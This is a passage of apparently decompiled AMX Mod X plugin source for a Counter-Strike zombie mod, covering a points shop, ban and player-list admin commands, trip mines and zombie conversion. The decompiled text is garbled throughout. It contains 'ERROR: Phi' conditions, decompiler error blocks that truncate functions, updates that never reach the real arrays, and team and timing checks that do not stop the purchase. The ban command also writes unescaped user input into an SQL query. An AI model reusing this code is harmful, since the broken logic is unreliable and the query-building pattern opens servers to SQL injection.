  6693. var17 = var17[0][0] - g_iShopItemsPrices[iChoice][0][0];
  6694. SaveRank(iPlayer);
  6695. }
  6696. }
  6697. case 3:
  6698. {
  6699. if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
  6700. {
  6701. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
  6702. }
  6703. else
  6704. {
  6705. new var15 = g_iPacks[iPlayer];
  6706. var15 = var15[0][0] + 100;
  6707. new var16 = g_iPoints[iPlayer];
  6708. var16 = var16[0][0] - g_iShopItemsPrices[iChoice][0][0];
  6709. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6710. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 100 ammo packs!", g_cName[iPlayer][0][0]);
  6711. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 100 ammo packs", g_cName[iPlayer][0][0]);
  6712. SaveRank(iPlayer);
  6713. }
  6714. }
  6715. case 4:
  6716. {
  6717. if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
  6718. {
  6719. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
  6720. }
  6721. else
  6722. {
  6723. new var13 = g_iPacks[iPlayer];
  6724. var13 = var13[0][0] + 200;
  6725. new var14 = g_iPoints[iPlayer];
  6726. var14 = var14[0][0] - g_iShopItemsPrices[iChoice][0][0];
  6727. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6728. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 200 ammo packs!", g_cName[iPlayer][0][0]);
  6729. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 200 ammo packs", g_cName[iPlayer][0][0]);
  6730. SaveRank(iPlayer);
  6731. }
  6732. }
  6733. case 5:
  6734. {
  6735. if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
  6736. {
  6737. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
  6738. }
  6739. else
  6740. {
  6741. new var11 = g_iPacks[iPlayer];
  6742. var11 = var11[0][0] + 300;
  6743. new var12 = g_iPoints[iPlayer];
  6744. var12 = var12[0][0] - g_iShopItemsPrices[iChoice][0][0];
  6745. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6746. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought 300 ammo packs!", g_cName[iPlayer][0][0]);
  6747. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 300 ammo packs", g_cName[iPlayer][0][0]);
  6748. SaveRank(iPlayer);
  6749. }
  6750. }
  6751. case 6:
  6752. {
  6753. if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
  6754. {
  6755. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
  6756. }
  6757. else
  6758. {
  6759. if (g_iShopItemsTeams[iChoice][0][0] == 2 && g_bZombie[iPlayer][0][0])
  6760. {
  6761. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6762. }
  6763. g_bNoDamage[iPlayer] = 1;
  6764. set_take_damage(iPlayer, 0);
  6765. set_glow(iPlayer, 19, 32, 192, 255, "");
  6766. new var10 = g_iPoints[iPlayer];
  6767. var10 = var10[0][0] - g_iShopItemsPrices[iChoice][0][0];
  6768. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6769. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought God Mode!", g_cName[iPlayer][0][0]);
  6770. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 God Mode", g_cName[iPlayer][0][0]);
  6771. SaveRank(iPlayer);
  6772. }
  6773. }
  6774. case 7:
  6775. {
  6776. static iAlive;
  6777. iAlive = GetAliveCount();
  6778. if (g_iShopItemsPrices[iChoice][0][0] > g_iPoints[iPlayer][0][0])
  6779. {
  6780. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You don't have enough points!");
  6781. }
  6782. else
  6783. {
  6784. if (g_iShopItemsTeams[iChoice][0][0] == 2 && g_bZombie[iPlayer][0][0])
  6785. {
  6786. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 This item is not for your team!");
  6787. }
  6788. if (g_bRoundStart && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
  6789. {
  6790. PrintToChat(iPlayer, "\4[Zombie Outstanding]\1 You can't buy this feature right now!");
  6791. }
  6792. StartArmageddonMode(true);
  6793. remove_task(700, 0);
  6794. g_bRoundStart = 0;
  6795. remove_task(550, 0);
  6796. new var9 = g_iPoints[iPlayer];
  6797. var9 = var9[0][0] - g_iShopItemsPrices[iChoice][0][0];
  6798. set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
  6799. ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Armageddon Round through points!", g_cName[iPlayer][0][0]);
  6800. PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Armageddon Round\1 through points!", g_cName[iPlayer][0][0]);
  6801. SaveRank(iPlayer);
  6802. }
  6803. }
  6804. default:
  6805. {
  6806. }
  6807. }
  6808. }
  6809. return 0;
  6810. }
  6811.  
  6812. public CmdLast(iPlayer)
  6813. {
  6814. !!! Removed Phi
  6815. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 51))
  6816. {
  6817. static cAddress[24];
  6818. static cName[32];
  6819. static i;
  6820. i = 0;
  6821. while (i < g_iSize)
  6822. {
  6823. GetInfo(i, cName, 32, cAddress, 24);
  6824. console_print(iPlayer, "%32s %24s", cName, cAddress);
  6825. i += 1;
  6826. }
  6827. }
  6828. return 0;
  6829. }
  6830.  
  6831. public CmdAddBan(iPlayer)
  6832. {
  6833. !!! Removed Phi
  6834. if (g_bAdmin[iPlayer][0][0] && AdminHasFlag(iPlayer, 100))
  6835. {
  6836. static Float:fGameTime;
  6837. fGameTime = get_gametime();
  6838. if (!fGameTime - g_fLastBanQuery >= 6.00/*1086324736*/)
  6839. {
  6840. console_print(iPlayer, "[Zombie Outstanding] Please wait six seconds...");
  6841. return 1;
  6842. }
  6843. g_fLastBanQuery = fGameTime;
  6844. static iTime;
  6845. static iArgumentsCount;
  6846. static cReason[36];
  6847. static cTime[6];
  6848. static cTarget[32];
  6849. static cTargetName[32];
  6850. read_argv(1, cTargetName, 32);
  6851. read_argv(2, cTarget, 32);
  6852. read_argv(3, cTime, 6);
  6853. read_argv(4, cReason, 36);
  6854. iTime = str_to_num(cTime);
  6855. if (0 > iTime)
  6856. {
  6857. iTime = 0;
  6858. }
  6859. if (iTime > 175000)
  6860. {
  6861. iTime = 175000;
  6862. }
  6863. if (0 < iTime)
  6864. {
  6865. iTime = iTime * 60;
  6866. }
  6867. if (iArgumentsCount == 5 && !strlen(cReason) && !strlen(cTarget) && !strlen(cTargetName))
  6868. {
  6869. console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_addban <name> <ip> <time> <reason>");
  6870. }
  6871. static cTimeLength[32];
  6872. static cQuery[512];
  6873. if (0 < iTime)
  6874. {
  6875. GetTimeLength(iTime / 60, cTimeLength, 32);
  6876. formatex(cQuery, 512, "INSERT INTO b VALUES ( '%s', '%s', 'Unspecified', '%s', '%s', ( unix_timestamp( now( ) ) + %d ), '%s', unix_timestamp( now( ) ), '%s' )", g_cName[iPlayer][0][0], g_cSteam[iPlayer][0][0], cTargetName, cReason, iTime, cTarget, cTimeLength);
  6877. SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
  6878. }
  6879. else
  6880. {
  6881. formatex(cQuery, 512, "INSERT INTO b VALUES ( '%s', '%s', 'Unspecified', '%s', '%s', 0, '%s', unix_timestamp( now( ) ), 'Permanently' )", g_cName[iPlayer][0][0], g_cSteam[iPlayer][0][0], cTargetName, cReason, cTarget);
  6882. SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
  6883. }
  6884. if (0 < iTime)
  6885. {
  6886. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 banned\4 %s\1 for\3 %d\1 minutes due to\3 %s", g_cName[iPlayer][0][0], cTargetName, iTime / 60, cReason);
  6887. }
  6888. PrintToChat(0, "\4[Zombie Outstanding]\1 Admin\4 %s\1 banned\4 %s\1 permanently due to\3 %s", g_cName[iPlayer][0][0], cTargetName, cReason);
  6889. }
  6890. return 1;
  6891. }
  6892.  
  6893. GetZombies()
  6894. {
  6895. static iNum;
  6896. static i;
  6897. iNum = 0;
  6898. i = 1;
  6899. while (g_iMaxClients + 1 > i)
  6900. {
  6901. new var3 = g_bAlive;
  6902. new var1;
  6903. new var2;
  6904. if (var3[i][0][0])
  6905. {
  6906. new var4 = g_bZombie;
  6907. if (var4[i][0][0])
  6908. {
  6909. var2 = var4;
  6910. if (ERROR: Phi)
  6911. {
  6912. iNum += 1;
  6913. i += 1;
  6914. }
  6915. i += 1;
  6916. }
  6917. var1 = var4;
  6918. }
  6919. else
  6920. {
  6921. var1 = var3;
  6922. }
  6923. var2 = var1;
  6924. if (ERROR: Phi)
  6925. {
  6926. iNum += 1;
  6927. i += 1;
  6928. }
  6929. i += 1;
  6930. }
  6931. return iNum;
  6932. }
  6933.  
  6934. GetHumans()
  6935. {
  6936. static iNum;
  6937. static i;
  6938. iNum = 0;
  6939. i = 1;
  6940. while (g_iMaxClients + 1 > i)
  6941. {
  6942. new var3 = g_bAlive;
  6943. new var1;
  6944. new var2;
  6945. if (var3[i][0][0])
  6946. {
  6947. new var4 = g_bZombie;
  6948. if (!var4[i][0][0])
  6949. {
  6950. var2 = var4;
  6951. if (ERROR: Phi)
  6952. {
  6953. iNum += 1;
  6954. i += 1;
  6955. }
  6956. i += 1;
  6957. }
  6958. var1 = var4;
  6959. }
  6960. else
  6961. {
  6962. var1 = var3;
  6963. }
  6964. var2 = var1;
  6965. if (ERROR: Phi)
  6966. {
  6967. iNum += 1;
  6968. i += 1;
  6969. }
  6970. i += 1;
  6971. }
  6972. return iNum;
  6973. }
  6974.  
  6975. public Func_Take(iPlayer)
  6976. {
  6977. !!! Removed Phi
  6978. iPlayer += -500;
  6979. g_bRemoving[iPlayer] = 0;
  6980. static iCount;
  6981. static iEntities[2];
  6982. iCount = ent(iPlayer, iEntities);
  6983. if (iCount)
  6984. {
  6985. g_iPlantedMines[iPlayer]--;
  6986. g_iTripMines[iPlayer]++;
  6987. if (iEntities[0][0] == g_iPlayerMines[iPlayer][0][0][0])
  6988. {
  6989. g_iPlayerMines[iPlayer][0][0][0] = 0;
  6990. }
  6991. if (iEntities[0][0] == g_iPlayerMines[iPlayer][0][0][1])
  6992. {
  6993. g_iPlayerMines[iPlayer][0][0][1] = 0;
  6994. }
  6995. remove_entity(iEntities[0][0]);
  6996. }
  6997. return 0;
  6998. }
  6999.  
  7000. bool:CanPlant(iPlayer)
  7001. {
  7002. static Float:fNormal[3];
  7003. static Float:fTraceResult[3];
  7004. static Float:fTraceEnd[3];
  7005. static Float:fTraceDirection[3];
  7006. static Float:fOrigin[3];
  7007. get_origin(iPlayer, fOrigin);
  7008. velocity_by_aim(iPlayer, 64, fTraceDirection);
  7009. fTraceEnd[0] = fTraceDirection[0][0] + fOrigin[0][0];
  7010. fTraceEnd[1] = fTraceDirection[1][0] + fOrigin[1][0];
  7011. fTraceEnd[2] = fTraceDirection[2][0] + fOrigin[2][0];
  7012. if (trace_line(335284, fTraceEnd, iPlayer, fTraceResult, fNormal) >= 1.00/*1065353216*/)
  7013. {
  7014. send_say_text(iPlayer, g_iMaxClients + 1, 335344);
  7015. return false;
  7016. }
  7017. return true;
  7018. }
  7019.  
  7020. public Func_Plant(iPlayer)
  7021. {
  7022. iPlayer += -450;
  7023. g_bPlanting[iPlayer] = 0;
  7024. static Float:fEntAngles[3];
  7025. static Float:fNewOrigin[3];
  7026. static iEntity;
  7027. static Float:fNormal[3];
  7028. static Float:fTraceResult[3];
  7029. static Float:fTraceEnd[3];
  7030. static Float:fTraceDirection[3];
  7031. static Float:fOrigin[3];
  7032. get_origin(iPlayer, fOrigin);
  7033. velocity_by_aim(iPlayer, 128, fTraceDirection);
  7034. fTraceEnd[0] = fTraceDirection[0][0] + fOrigin[0][0];
  7035. fTraceEnd[1] = fTraceDirection[1][0] + fOrigin[1][0];
  7036. fTraceEnd[2] = fTraceDirection[2][0] + fOrigin[2][0];
  7037. trace_line(335584, fTraceEnd, iPlayer, fTraceResult, fNormal);
  7038. iEntity = create_mine();
  7039. if (!iEntity > 0)
  7040. {
  7041. return 0;
  7042. }
  7043. set_pev(iEntity, pev_targetname, 4096);
  7044. set_pev(iEntity, pev_target, iPlayer);
  7045. g_iPlantedMines[iPlayer]++;
  7046. set_pev(iEntity, pev_netname, 0);
  7047. set_pev(iEntity, pev_message, 0);
  7048. set_pev(iEntity, pev_string_start, "");
  7049. set_pev(iEntity, pev_classname, 0);
  7050. set_pev(iEntity, pev_noise, "");
  7051. set_pev(iEntity, pev_noise1, 7);
  7052. set_take_damage(iEntity, 0);
  7053. set_pev(iEntity, pev_model, 0);
  7054. fNewOrigin[0] = fTraceResult[0][0] + fNormal[0][0] * 8.00;
  7055. fNewOrigin[1] = fTraceResult[1][0] + fNormal[1][0] * 8.00;
  7056. fNewOrigin[2] = fTraceResult[2][0] + fNormal[2][0] * 8.00;
  7057. set_origin(iEntity, fNewOrigin);
  7058. vector_to_angle(fNormal, fEntAngles);
  7059. set_angles(iEntity, fEntAngles);
  7060. new var1 = fEntAngles;
  7061. var1[0] = var1[0][0] * -1.00;
  7062. new var2 = fEntAngles[1];
  7063. var2 = var2[0] * -1.00;
  7064. new var3 = fEntAngles[2];
  7065. var3 = var3[0] * -1.00;
  7066. set_v_angle(iEntity, fEntAngles);
  7067. g_iTripMines[iPlayer]--;
  7068. if (g_iPlayerMines[iPlayer][0][0][0])
  7069. {
  7070. g_iPlayerMines[iPlayer][0][0][1] = iEntity;
  7071. }
  7072. else
  7073. {
  7074. g_iPlayerMines[iPlayer][0][0][0] = iEntity;
  7075. }
  7076. sound(iEntity, "", "ZombieOutstanding/mine_deploy.wav");
  7077. sound(iEntity, "", "ZombieOutstanding/mine_charge.wav");
  7078. set_nextthink(iEntity, get_gametime() + 0.60);
  7079. return 0;
  7080. }
  7081.  
  7082. Func_Explode(iEntity)
  7083. {
  7084. !!! Removed Phi
  7085. static i;
  7086. static Float:fDamage;
  7087. static iDistance;
  7088. static Float:fVelocity[3];
  7089. static iHealth;
  7090. static Float:fOrigin[3];
  7091. static iOwner;
  7092. iOwner = pev(iEntity, pev_target);
  7093. if (iEntity == g_iPlayerMines[iOwner][0][0][0])
  7094. {
  7095. g_iPlayerMines[iOwner][0][0][0] = 0;
  7096. }
  7097. if (iEntity == g_iPlayerMines[iOwner][0][0][1])
  7098. {
  7099. g_iPlayerMines[iOwner][0][0][1] = 0;
  7100. }
  7101. g_iPlantedMines[iOwner]--;
  7102. get_origin(iEntity, fOrigin);
  7103. Func_Explosion(iEntity);
  7104. i = 1;
  7105. while (g_iMaxClients + 1 > i)
  7106. {
  7107. if (g_bAlive[i][0][0])
  7108. {
  7109. iDistance = range2(i, iEntity);
  7110. if (iDistance < 360)
  7111. {
  7112. iHealth = get_health(i);
  7113. get_velocity(i, fVelocity);
  7114. new var3 = fVelocity[2];
  7115. var3 = var3[0] + 456.00;
  7116. new var4 = fVelocity[1];
  7117. var4 = var4[0] + 320.00;
  7118. new var5 = fVelocity;
  7119. var5[0] = var5[0][0] + 299.00;
  7120. set_velocity(i, fVelocity);
  7121. send_screen_shake(i);
  7122. client_cmd(i, "spk fvox/flatline");
  7123. if (g_bZombie[i][0][0])
  7124. {
  7125. fDamage = float(floatround(2600.00 - 2600.00 / 400.00 * float(iDistance), floatround_ceil));
  7126. if (g_iPlayerType[i][0][0])
  7127. {
  7128. new var1;
  7129. if (g_bDoubleDamage[iOwner][0][0])
  7130. {
  7131. var1 = fDamage * 2.00;
  7132. }
  7133. else
  7134. {
  7135. var1 = fDamage;
  7136. }
  7137. PrintToChat(iOwner, "\4[Zombie Outstanding]\1 Damage to\4 %s\1 ::\4 %0.0f\1 damage", g_cName[i][0][0], var1);
  7138. }
  7139. else
  7140. {
  7141. new var2;
  7142. if (g_bDoubleDamage[iOwner][0][0])
  7143. {
  7144. var2 = fDamage * 1.50;
  7145. }
  7146. else
  7147. {
  7148. var2 = fDamage * 0.75;
  7149. }
  7150. PrintToChat(iOwner, "\4[Zombie Outstanding]\1 Damage to\4 %s\1 ::\4 %0.0f\1 damage", g_cName[i][0][0], var2);
  7151. }
  7152. send_screen_fade(i);
  7153. if (iHealth > fDamage)
  7154. {
  7155. ExecuteHamB(Ham_TakeDamage, i, iEntity, iOwner, fDamage, 64);
  7156. i += 1;
  7157. }
  7158. ExecuteHamB(Ham_Killed, i, iOwner, 2);
  7159. i += 1;
  7160. }
  7161. i += 1;
  7162. }
  7163. i += 1;
  7164. }
  7165. i += 1;
  7166. }
  7167. remove_entity(iEntity);
  7168. return 0;
  7169. }
  7170.  
  7171.  
  7172. GetUserIdMatch(String:cTarget[])
  7173. {
  7174. static cNumber[32];
  7175. static iTarget;
  7176. static i;
  7177. copy("", 32, cTarget[1]);
  7178. iTarget = str_to_num(cNumber);
  7179. i = 1;
  7180. while (g_iMaxClients + 1 > i)
  7181. {
  7182. new var3 = g_bConnected;
  7183. new var1;
  7184. new var2;
  7185. if (var3[i][0][0])
  7186. {
  7187. new var4 = iTarget;
  7188. if (get_user_userid(i) == var4)
  7189. {
  7190. var2 = 1;
  7191.  
  7192. / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
  7193. function "GetUserIdMatch"
  7194. GetUserIdMatch(String:cTarget[])
  7195.  
  7196. Func_Explosion(iEntity)
  7197. {
  7198. static iVariable;
  7199. iVariable = 1;
  7200. while (iVariable < 5)
  7201. {
  7202. send_explosion(iEntity);
  7203. iVariable += 1;
  7204. }
  7205. iVariable = 1;
  7206. while (iVariable < 5)
  7207. {
  7208. send_beam_cylinder(iEntity, "", "", "", random_num(100, 250));
  7209. iVariable += 1;
  7210. }
  7211. return 0;
  7212. }
  7213.  
  7214. xs_vec_mul_scalar(Float:fVec[], Float:fScalar, Float:fOut[])
  7215. {
  7216. fOut[0] = fVec[0] * fScalar;
  7217. fOut[1] = fVec[1] * fScalar;
  7218. fOut[2] = fVec[2] * fScalar;
  7219. return 0;
  7220. }
  7221.  
  7222. xs_vec_add(Float:fFirst[], Float:fSecond[], Float:fOut[])
  7223. {
  7224. fOut[0] = fFirst[0] + fSecond[0];
  7225. fOut[1] = fFirst[1] + fSecond[1];
  7226. fOut[2] = fFirst[2] + fSecond[2];
  7227. return 0;
  7228. }
  7229.  
  7230. Float:GetEntitySpeed(iEntity)
  7231. {
  7232. static Float:fVelocity[3];
  7233. get_velocity(iEntity, fVelocity);
  7234. return vector_length(fVelocity);
  7235. }
  7236.  
  7237. public TaskSaveRankPlayer(iPlayer)
  7238. {
  7239. new var5 = g_bConnected;
  7240. new var1;
  7241. new var2;
  7242. new var3;
  7243. if (var5[iPlayer][0][0])
  7244. {
  7245. new var6 = g_bRanked;
  7246. if (var6[iPlayer][0][0])
  7247. {
  7248. var2 = 1;
  7249. var3 = var6;
  7250.  
  7251. / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
  7252. function "TaskSaveRankPlayer"
  7253. public TaskSaveRankPlayer(iPlayer)
  7254.  
  7255. SaveRank(iPlayer)
  7256. {
  7257. new var5 = g_bRanked;
  7258. new var1;
  7259. new var2;
  7260. new var3;
  7261. if (var5[iPlayer][0][0])
  7262. {
  7263. new var6 = g_bConnected;
  7264. if (var6[iPlayer][0][0])
  7265. {
  7266. var2 = 1;
  7267. var3 = var6;
  7268.  
  7269. / * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
  7270. function "SaveRank"
  7271. SaveRank(iPlayer)
  7272.  
  7273. CheckLastPlayer(iPlayer)
  7274. {
  7275. !!! Removed Phi
  7276. if (g_bRoundEnd || task_exists(550, 0))
  7277. {
  7278. return 0;
  7279. }
  7280. static i;
  7281. static iPlayersNum;
  7282. iPlayersNum = GetAliveCount();
  7283. if (iPlayersNum < 2)
  7284. {
  7285. return 0;
  7286. }
  7287. if (g_bZombie[iPlayer][0][0] && GetZombies() == 1)
  7288. {
  7289. if (GetHumans() == 1 && GetCTs() == 1)
  7290. {
  7291. return 0;
  7292. }
  7293. do {
  7294. new var6 = GetRandomAlive();
  7295. i = var6;
  7296. } while (iPlayer == var6);
  7297. PrintToChat(0, "\4[Zombie Outstanding]\1 Last zombie,\3 %s\1 disconnected,\4 %s\1 is the last zombie!", g_cName[iPlayer][0][0], g_cName[i][0][0]);
  7298. if (g_iPlayerType[iPlayer][0][0] & 1)
  7299. {
  7300. MakeZombie(0, i, false, true, false);
  7301. set_health(i, get_health(iPlayer));
  7302. }
  7303. else
  7304. {
  7305. if (g_iPlayerType[iPlayer][0][0] & 2)
  7306. {
  7307. MakeZombie(0, i, false, false, true);
  7308. set_health(i, get_health(iPlayer));
  7309. }
  7310. MakeZombie(0, i, false, false, false);
  7311. }
  7312. }
  7313. else
  7314. {
  7315. if (!g_bZombie[iPlayer][0][0] && GetHumans() == 1)
  7316. {
  7317. if (GetZombies() == 1 && GetTs() == 1)
  7318. {
  7319. return 0;
  7320. }
  7321. do {
  7322. new var7 = GetRandomAlive();
  7323. i = var7;
  7324. } while (iPlayer == var7);
  7325. PrintToChat(0, "\4[Zombie Outstanding]\1 Last human,\3 %s\1 disconnected,\4 %s\1 is the last human!", g_cName[iPlayer][0][0], g_cName[i][0][0]);
  7326. if (g_iPlayerType[iPlayer][0][0] & 4)
  7327. {
  7328. MakeHuman(i, true, false);
  7329. set_health(i, get_health(iPlayer));
  7330. }
  7331. if (g_iPlayerType[iPlayer][0][0] & 8)
  7332. {
  7333. MakeHuman(i, false, true);
  7334. set_health(i, get_health(iPlayer));
  7335. }
  7336. MakeHuman(i, false, false);
  7337. }
  7338. }
  7339. return 0;
  7340. }
  7341.  
  7342. GetCTs()
  7343. {
  7344. !!! Removed Phi
  7345. static iCount;
  7346. static i;
  7347. iCount = 0;
  7348. i = 1;
  7349. while (g_iMaxClients + 1 > i)
  7350. {
  7351. if (g_bConnected[i][0][0] && get_team(i) == 2)
  7352. {
  7353. iCount += 1;
  7354. i += 1;
  7355. }
  7356. i += 1;
  7357. }
  7358. return iCount;
  7359. }
  7360.  
  7361. GetTs()
  7362. {
  7363. !!! Removed Phi
  7364. static iCount;
  7365. static i;
  7366. iCount = 0;
  7367. i = 1;
  7368. while (g_iMaxClients + 1 > i)
  7369. {
  7370. if (g_bConnected[i][0][0] && get_team(i) == 1)
  7371. {
  7372. iCount += 1;
  7373. i += 1;
  7374. }
  7375. i += 1;
  7376. }
  7377. return iCount;
  7378. }
  7379.  
  7380. GetAliveCount()
  7381. {
  7382. static iCount;
  7383. static i;
  7384. iCount = 0;
  7385. i = 1;
  7386. while (g_iMaxClients + 1 > i)
  7387. {
  7388. if (g_bAlive[i][0][0])
  7389. {
  7390. iCount += 1;
  7391. i += 1;
  7392. }
  7393. i += 1;
  7394. }
  7395. return iCount;
  7396. }
  7397.  
  7398. GetRandomAlive()
  7399. {
  7400. static j;
  7401. static i;
  7402. static iPlayers[32];
  7403. j = 0;
  7404. i = 1;
  7405. while (g_iMaxClients + 1 > i)
  7406. {
  7407. new var2 = g_bAlive;
  7408. new var1;
  7409. if (var2[i][0][0])
  7410. {
  7411. new var3 = iPlayers[j];
  7412. var3 = i;
  7413. j += 1;
  7414. var1 = var3;
  7415. i += 1;
  7416. }
  7417. else
  7418. {
  7419. var1 = var2;
  7420. i += 1;
  7421. }
  7422. i += 1;
  7423. }
  7424. return iPlayers[random_num(0, j + -1)][0][0];
  7425. }
  7426.  
  7427. public SQLLoadedRank(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
  7428. {
  7429. g_bRanked[str_to_num(cData)] = 1;
  7430. show_glow_message(str_to_num(cData), "You are now ranked!", 40960, 0.02, 0.69, 1.75);
  7431. return 0;
  7432. }
  7433.  
  7434. MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
  7435. {
  7436. !!! Removed Phi
  7437. if (g_iZombieNextClass[iVictim][0][0] == -1)
  7438. {
  7439. set_task(0.20, "ShowMenuClasses", iVictim, "", 0, "", 0);
  7440. }
  7441. g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim][0][0];
  7442. if (g_iZombieClass[iVictim][0][0] == -1)
  7443. {
  7444. g_iZombieClass[iVictim] = 0;
  7445. }
  7446. if (get_user_jetpack(iVictim))
  7447. {
  7448. user_drop_jetpack(iVictim, "");
  7449. }
  7450. g_bZombie[iVictim] = 1;
  7451. g_bKilling[iVictim] = 0;
  7452. set_zombie(iVictim, "");
  7453. g_iBurningDuration[iVictim] = 0;
  7454. g_iPlayerType[iVictim] = 0;
  7455. set_monster(iVictim, 0);
  7456. new var2 = g_cClass[iVictim][0][0];
  7457. new var3 = g_cZombieClasses[g_iZombieClass[iVictim][0][0]][0][0];
  7458. var2[0] = var3;
  7459. g_bNoDamage[iVictim] = 0;
  7460. remove_glow(iVictim);
  7461. g_bFrozen[iVictim] = 0;
  7462. set_frozen(iVictim, 0);
  7463. remove_task(iVictim + 200, 0);
  7464. remove_task(iVictim + 250, 0);
  7465. if (iAttacker)
  7466. {
  7467. send_death_msg(iAttacker, iVictim);
  7468. send_score_attrib(iVictim);
  7469. set_frags(iAttacker, get_frags(iAttacker) + 1);
  7470. set_deaths(iVictim, get_deaths(iVictim) + 1);
  7471. send_score_info(iAttacker);
  7472. send_score_info(iVictim);
  7473. g_iPacks[iAttacker]++;
  7474. if (g_iZombieClass[iAttacker][0][0] == 6)
  7475. {
  7476. set_health(iAttacker, get_health(iAttacker) + 250);
  7477. send_screen_fade(iAttacker);
  7478. set_glow(iAttacker, 19, 27, 255, "", "");
  7479. set_task(2.90, "TaskRemoveRender", iAttacker, "", 0, "", 0);
  7480. set_hudmessage(0, 255, 0, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
  7481. ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== HUNTER ==\n!!!Regeneration: +250 HP Gained!!!");
  7482. }
  7483. }
  7484. if (!bSilent)
  7485. {
  7486. if (bNemesis)
  7487. {
  7488. new var4 = g_iPlayerType[iVictim];
  7489. var4 = var4[0][0] | 1;
  7490. set_monster(iVictim, "");
  7491. new var5 = g_cClass[iVictim][0][0];
  7492. var5[0] = 338400;
  7493. set_health(iVictim, "");
  7494. }
  7495. else
  7496. {
  7497. if (bAssassin)
  7498. {
  7499. new var6 = g_iPlayerType[iVictim];
  7500. var6 = var6[0][0] | 2;
  7501. set_monster(iVictim, "");
  7502. new var7 = g_cClass[iVictim][0][0];
  7503. var7[0] = 338432;
  7504. set_health(iVictim, "");
  7505. }
  7506. if (GetZombies() == 1 && !g_iPlayerType[iVictim][0][0])
  7507. {
  7508. set_health(iVictim, 10500);
  7509. sound(iVictim, "", g_cZombieInfectSounds[random_num(0, 4)][0][0]);
  7510. }
  7511. set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim][0][0]][0][0]);
  7512. sound(iVictim, "", g_cZombieInfectSounds[random_num(0, 4)][0][0]);
  7513. set_hudmessage(255, 0, 0, 0.05, 0.45, 0, 0.00, 5.00, 1.00, 1.00, -1);
  7514. if (iAttacker)
  7515. {
  7516. ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brans have been eaten by %s...", g_cName[iVictim][0][0], g_cName[iAttacker][0][0]);
  7517. }
  7518. ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brans have been eaten...", g_cName[iVictim][0][0]);
  7519. }
  7520. }
  7521. else
  7522. {
  7523. set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim][0][0]][0][0]);
  7524. }
  7525. if (get_team(iVictim) != 1)
  7526. {
  7527. g_bSwitching = 1;
  7528. set_team(iVictim, "");
  7529. g_bSwitching = 0;
  7530. }
  7531. static Float:fCurrentTime;
  7532. fCurrentTime = get_gametime();
  7533. if (fCurrentTime - g_fLastChangedModel >= 0.25/*1048576000*/)
  7534. {
  7535. ChangeModel(iVictim + 250);
  7536. g_fLastChangedModel = fCurrentTime;
  7537. }
  7538. else
  7539. {
  7540. set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iVictim + 250, "", 0, "", 0);
  7541. g_fLastChangedModel = g_fLastChangedModel + 0.25;
  7542. }
  7543. if (g_iPlayerType[iVictim][0][0] & 1)
  7544. {
  7545. set_glow(iVictim, 19, "", 255, 0, 0);
  7546. }
  7547. reset_zoom(iVictim);
  7548. reset_armor(iVictim);
  7549. send_screen_fade(iVictim);
  7550. send_screen_shake(iVictim);
  7551. send_damage(iVictim, "");
  7552. send_implosion(iVictim);
  7553. send_particle_burst(iVictim);
  7554. send_light(iVictim);
  7555. strip(iVictim);
  7556. give_weapon(iVictim, "weapon_knife");
  7557. ExecuteHamB(Ham_Item_PreFrame, iVictim);
  7558. g_bFlash[iVictim] = 1;
  7559. g_bFlashEnabled[iVictim] = 1;
  7560. remove_task(iVictim + 350, 0);
  7561. set_task(0.10, "TaskFlash", iVictim + 350, "", 0, "b", 0);
  7562. return 0;
  7563. }
  7564.  
